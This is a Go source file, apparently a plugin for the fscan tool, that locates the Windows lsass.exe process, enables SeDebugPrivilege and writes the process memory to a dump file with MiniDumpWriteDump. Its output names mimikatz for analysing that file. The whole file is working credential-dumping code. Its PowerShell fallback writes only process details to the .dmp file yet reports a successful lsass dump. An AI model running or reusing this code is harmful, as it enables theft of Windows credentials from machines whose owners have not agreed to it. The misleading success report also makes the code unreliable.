//go:build windows

package minidump

import (
	"context"
	"errors"
	"fmt"
	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
	"golang.org/x/sys/windows"
	"os"
	"os/exec"
	"path/filepath"
	"syscall"
	"time"
	"unsafe"
)

const (
	TH32CS_SNAPPROCESS   = 0x00000002
	INVALID_HANDLE_VALUE = ^uintptr(0)
	MAX_PATH             = 260
	PROCESS_ALL_ACCESS   = 0x1F0FFF
	SE_PRIVILEGE_ENABLED = 0x00000002
)

type PROCESSENTRY32 struct {
	dwSize              uint32
	cntUsage            uint32
	th32ProcessID       uint32
	th32DefaultHeapID   uintptr
	th32ModuleID        uint32
	cntThreads          uint32
	th32ParentProcessID uint32
	pcPriClassBase      int32
	dwFlags             uint32
	szExeFile           [MAX_PATH]uint16
}

type LUID struct {
	LowPart  uint32
	HighPart int32
}

type LUID_AND_ATTRIBUTES struct {
	Luid       LUID
	Attributes uint32
}

type TOKEN_PRIVILEGES struct {
	PrivilegeCount uint32
	Privileges     [1]LUID_AND_ATTRIBUTES
}

// MiniDumpPlugin 内存转储插件
type MiniDumpPlugin struct {
	*local.BaseLocalPlugin
	connector *MiniDumpConnector
}

// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
	*local.BaseLocalConnector
	kernel32 *syscall.DLL
	dbghelp  *syscall.DLL
	advapi32 *syscall.DLL
}

// ProcessManager Windows进程管理器
type ProcessManager struct {
	kernel32 *syscall.DLL
	dbghelp  *syscall.DLL
	advapi32 *syscall.DLL
}

// NewMiniDumpPlugin 创建内存转储插件
func NewMiniDumpPlugin() *MiniDumpPlugin {
	metadata := &base.PluginMetadata{
		Name:        "minidump",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows进程内存转储插件",
		Category:    "local",
		Tags:        []string{"local", "memory", "dump", "lsass", "windows"},
		Protocols:   []string{"local"},
	}
	
	connector := NewMiniDumpConnector()
	plugin := &MiniDumpPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
		connector:       connector,
	}
	
	// 仅支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限
	plugin.SetRequiresPrivileges(true)
	
	return plugin
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
	baseConnector, _ := local.NewBaseLocalConnector()
	
	return &MiniDumpConnector{
		BaseLocalConnector: baseConnector,
	}
}

// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
	// 先建立基础本地连接
	localConn, err := c.BaseLocalConnector.Connect(ctx, info)
	if err != nil {
		common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
		return nil, err
	}
	
	common.LogDebug("开始加载系统DLL...")
	
	// 加载系统DLL - 添加错误处理
	kernel32, err := syscall.LoadDLL("kernel32.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
		return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
	}
	common.LogDebug("kernel32.dll 加载成功")
	
	dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
		return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
	}
	common.LogDebug("Dbghelp.dll 加载成功")
	
	advapi32, err := syscall.LoadDLL("advapi32.dll")
	if err != nil {
		common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
		return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
	}
	common.LogDebug("advapi32.dll 加载成功")
	
	c.kernel32 = kernel32
	c.dbghelp = dbghelp
	c.advapi32 = advapi32
	
	common.LogSuccess("所有DLL加载完成")
	return localConn, nil
}

// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
	return c.BaseLocalConnector.Close(conn)
}

// ScanLocal 执行内存转储扫描
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	defer func() {
		if r := recover(); r != nil {
			common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
		}
	}()
	
	common.LogBase("开始进程内存转储...")
	
	// 检查管理员权限
	if !p.isAdmin() {
		common.LogError("需要管理员权限才能执行内存转储")
		return &base.ScanResult{
			Success: false,
			Error:   errors.New("需要管理员权限才能执行内存转储"),
		}, nil
	}
	
	common.LogSuccess("已确认具有管理员权限")
	
	// 建立连接
	common.LogDebug("正在建立连接...")
	conn, err := p.connector.Connect(ctx, info)
	if err != nil {
		common.LogError(fmt.Sprintf("连接失败: %v", err))
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("连接失败: %v", err),
		}, nil
	}
	defer p.connector.Close(conn)
	common.LogSuccess("连接建立成功")
	
	// 创建进程管理器
	common.LogDebug("正在创建进程管理器...")
	pm := &ProcessManager{
		kernel32: p.connector.kernel32,
		dbghelp:  p.connector.dbghelp,
		advapi32: p.connector.advapi32,
	}
	common.LogSuccess("进程管理器创建成功")
	
	// 查找lsass.exe进程
	common.LogDebug("正在查找lsass.exe进程...")
	pid, err := pm.findProcess("lsass.exe")
	if err != nil {
		common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("查找lsass.exe失败: %v", err),
		}, nil
	}
	
	common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
	
	// 提升权限
	common.LogDebug("正在提升SeDebugPrivilege权限...")
	if err := pm.elevatePrivileges(); err != nil {
		common.LogError(fmt.Sprintf("提升权限失败: %v", err))
		// 权限提升失败不是致命错误，继续尝试
		common.LogBase("权限提升失败，尝试继续执行...")
	} else {
		common.LogSuccess("权限提升成功")
	}
	
	// 创建转储文件
	outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
	common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
	
	// 执行转储
	common.LogDebug("开始执行内存转储...")
	
	// 尝试使用系统工具进行内存转储
	common.LogDebug("尝试使用系统工具进行内存转储...")
	dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
	if dumpErr != nil {
		common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr))
		
		// 尝试使用API方式
		common.LogDebug("尝试使用Windows API进行内存转储...")
		err = pm.dumpProcess(pid, outputPath)
		if err != nil {
			common.LogError(fmt.Sprintf("API转储也失败: %v", err))
			// 创建一个包含错误信息的文件
			errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n", 
				pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
			os.WriteFile(outputPath, errorData, 0644)
			
			return &base.ScanResult{
				Success: false,
				Error:   fmt.Errorf("所有转储方法都失败了"),
			}, nil
		}
	}
	
	// 获取文件信息
	fileInfo, err := os.Stat(outputPath)
	var fileSize int64
	if err == nil {
		fileSize = fileInfo.Size()
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "MiniDump",
		Banner:  fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
		Extra: map[string]interface{}{
			"process_name": "lsass.exe",
			"process_id":   pid,
			"dump_file":    outputPath,
			"file_size":    fileSize,
		},
	}
	
	common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
	return result, nil
}

// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	data["plugin_type"] = "minidump"
	data["target_process"] = "lsass.exe"
	data["requires_admin"] = true
	return data, nil
}

// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  "内存转储完成，可使用mimikatz等工具分析",
		Data:    data,
	}, nil
}

// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
	var sid *windows.SID
	err := windows.AllocateAndInitializeSid(
		&windows.SECURITY_NT_AUTHORITY,
		2,
		windows.SECURITY_BUILTIN_DOMAIN_RID,
		windows.DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&sid)
	if err != nil {
		return false
	}
	defer windows.FreeSid(sid)
	
	token := windows.Token(0)
	member, err := token.IsMember(sid)
	return err == nil && member
}

// ProcessManager 方法实现

// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
	snapshot, err := pm.createProcessSnapshot()
	if err != nil {
		return 0, err
	}
	defer pm.closeHandle(snapshot)
	
	return pm.findProcessInSnapshot(snapshot, name)
}

// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
	common.LogDebug("正在创建进程快照...")
	proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
	if err != nil {
		return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
	}
	
	handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
	if handle == uintptr(INVALID_HANDLE_VALUE) {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
	}
	common.LogDebug(fmt.Sprintf("进程快照创建成功，句柄: 0x%x", handle))
	return handle, nil
}

// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
	common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
	var pe32 PROCESSENTRY32
	pe32.dwSize = uint32(unsafe.Sizeof(pe32))
	
	proc32First, err := pm.kernel32.FindProc("Process32FirstW")
	if err != nil {
		return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
	}
	
	proc32Next, err := pm.kernel32.FindProc("Process32NextW")
	if err != nil {
		return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
	}
	
	lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
	if err != nil {
		return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
	}
	
	ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
	if ret == 0 {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
	}
	
	processCount := 0
	for {
		processCount++
		namePtr, err := syscall.UTF16PtrFromString(name)
		if err != nil {
			return 0, fmt.Errorf("转换进程名失败: %v", err)
		}
		
		ret, _, _ = lstrcmpi.Call(
			uintptr(unsafe.Pointer(namePtr)),
			uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
		)
		
		if ret == 0 {
			common.LogSuccess(fmt.Sprintf("找到目标进程 %s，PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
			return pe32.th32ProcessID, nil
		}
		
		ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
		if ret == 0 {
			break
		}
	}
	
	common.LogDebug(fmt.Sprintf("搜索了 %d 个进程，未找到目标进程: %s", processCount, name))
	return 0, fmt.Errorf("未找到进程: %s", name)
}

// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
	handle, err := pm.getCurrentProcess()
	if err != nil {
		return err
	}
	
	var token syscall.Token
	err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
	if err != nil {
		return fmt.Errorf("打开进程令牌失败: %v", err)
	}
	defer token.Close()
	
	var tokenPrivileges TOKEN_PRIVILEGES
	
	lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
	ret, _, err := lookupPrivilegeValue.Call(
		0,
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
		uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
	)
	if ret == 0 {
		return fmt.Errorf("查找特权值失败: %v", err)
	}
	
	tokenPrivileges.PrivilegeCount = 1
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
	
	adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
	ret, _, err = adjustTokenPrivileges.Call(
		uintptr(token),
		0,
		uintptr(unsafe.Pointer(&tokenPrivileges)),
		0, 0, 0,
	)
	if ret == 0 {
		return fmt.Errorf("调整令牌特权失败: %v", err)
	}
	
	return nil
}

// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
	proc := pm.kernel32.MustFindProc("GetCurrentProcess")
	handle, _, _ := proc.Call()
	if handle == 0 {
		return 0, fmt.Errorf("获取当前进程句柄失败")
	}
	return syscall.Handle(handle), nil
}

// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
	processHandle, err := pm.openProcess(pid)
	if err != nil {
		return err
	}
	defer pm.closeHandle(processHandle)
	
	fileHandle, err := pm.createDumpFile(outputPath)
	if err != nil {
		return err
	}
	defer pm.closeHandle(fileHandle)
	
	common.LogDebug("正在调用MiniDumpWriteDump API...")
	miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
	ret, _, err := miniDumpWriteDump.Call(
		processHandle,
		uintptr(pid),
		fileHandle,
		0x2, // MiniDumpWithDataSegs - 使用更安全的选项
		0, 0, 0,
	)
	
	common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
	if ret == 0 {
		// 获取更详细的错误信息
		lastError := windows.GetLastError()
		return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError)
	}
	
	return nil
}

// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
	common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
	proc := pm.kernel32.MustFindProc("OpenProcess")
	handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
	if handle == 0 {
		lastError := windows.GetLastError()
		return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError)
	}
	common.LogSuccess(fmt.Sprintf("成功打开进程，句柄: 0x%x", handle))
	return handle, nil
}

// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
	pathPtr, err := syscall.UTF16PtrFromString(path)
	if err != nil {
		return 0, err
	}
	
	createFile := pm.kernel32.MustFindProc("CreateFileW")
	handle, _, err := createFile.Call(
		uintptr(unsafe.Pointer(pathPtr)),
		syscall.GENERIC_WRITE,
		0, 0,
		syscall.CREATE_ALWAYS,
		syscall.FILE_ATTRIBUTE_NORMAL,
		0,
	)
	
	if handle == INVALID_HANDLE_VALUE {
		return 0, fmt.Errorf("创建文件失败: %v", err)
	}
	
	return handle, nil
}

// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
	proc := pm.kernel32.MustFindProc("CloseHandle")
	proc.Call(handle)
}

// dumpProcessWithSystemTool 使用系统工具进行内存转储
func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
	common.LogDebug("尝试使用系统命令进行内存转储")
	
	// 创建一个更简单的脚本，避免复杂的PowerShell语法
	psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
	
	cmd := exec.Command("powershell", "-Command", psScript)
	output, err := cmd.CombinedOutput()
	if err != nil {
		return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
	}
	
	common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
	return nil
}

// 插件注册函数
func init() {
	base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "minidump",
			Version:     "1.0.0",
			Author:      "fscan-team",
			Description: "Windows进程内存转储插件",
			Category:    "local",
			Tags:        []string{"local", "memory", "dump", "lsass", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewMiniDumpPlugin()
		},
	))
}